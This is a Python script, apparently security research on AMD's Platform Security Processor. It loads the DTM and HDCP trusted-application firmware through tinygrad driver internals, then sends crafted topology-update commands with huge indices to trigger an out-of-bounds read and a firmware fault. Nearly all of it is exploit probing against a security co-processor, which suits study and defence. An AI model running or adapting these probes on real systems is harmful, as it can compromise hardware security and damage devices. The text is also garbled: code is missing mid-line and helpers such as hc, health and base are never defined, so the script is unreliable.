"""Use DTM cmd 4 (topology_update_v2) -- its descriptor is 11 dwords (44 B) and so covers a2[32] -> entry+40, the gate. DTM cmd 2's descriptor is only 28 B, so entry+40 came from DTM stack and the gate was unreachable that way. Goal: set entry+40 == 0x30, entry+32 != 0, entry+20 = huge, then poke the paths and look for a data abort from LDRB [0xD42660 + 3*entry20 + 2]. """ import ctypes,struct,sys from tinygrad import Device from tinygrad.runtime.autogen.am import am from tinygrad.helpers import lo32,hi32 d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); P='/Users/user/dev/amd-psp-re/psp_out/'; S=0x8000 def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little") def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa) def load(cmd,blob): ap,amc=alloc(0x40000); cp,cmc=alloc(S) adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp() adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob) t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=S return psp._ring_submit(c).resp.session_id, cp def inv(sid,shm,buf,tc): adev.vram.view(shm,S)[:]=bytes(buf); adev.gmc.flush_hdp() adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd iv.session_id,iv.ta_cmd_id=sid,tc try: psp._ring_submit(ic); ps=0 except RuntimeError: ps=stat() except TimeoutError: return "TIMEOUT",None return ps, bytes(adev.vram.view(shm,S)[:]) asd,_=load(am.GFX_CMD_ID_LOAD_ASD,open(P+'asd_full.bin','rb').read()) dtm,dsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'dtm_full.bin','rb').read()) hdcp,hsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'hdcp_full.bin','rb').read()) print("sids asd=%#x dtm=%#x hdcp=%#x MEMSIZE=%s"%(asd,dtm,hdcp,hex(adev.rreg(0xde3)))) def topo4(req): """DTM cmd 4: req is the dword array starting at buf[0] (req[0]=cmd).""" b=bytearray(S) for i,v in enumerate(req): struct.pack_into(' dtm %s"%(i,topo4(r))) print("\nnow: gate (entry+40=0x30, entry+32!=0) + huge index, via cmd 4") for idx in (0, 9, 186, 0x100000, 0x10000000): for gi in (8,9,10,11,12,13,14): r=list(base); r[gi]=0x30; r[6]=idx; r[7]=1 t=topo4(r); r0=hc(0x0E); r1=hc(0x10) a,m=health() bad = (not a) or m!='0x5ff0' or "TIMEOUT" in (str(r0[0]),str(r1[0])) if bad: print(" idx=%s gatefield=req[%d] -> dtm=%s 0x0E=%s 0x10=%s <<<< FAULT"%(hex(idx),gi,t,r0,r1)); sys.exit(2) print(" idx=%-12s all gate positions: no fault (health %s %s)"%(hex(idx),a,m)) print("\nfinal health:",health())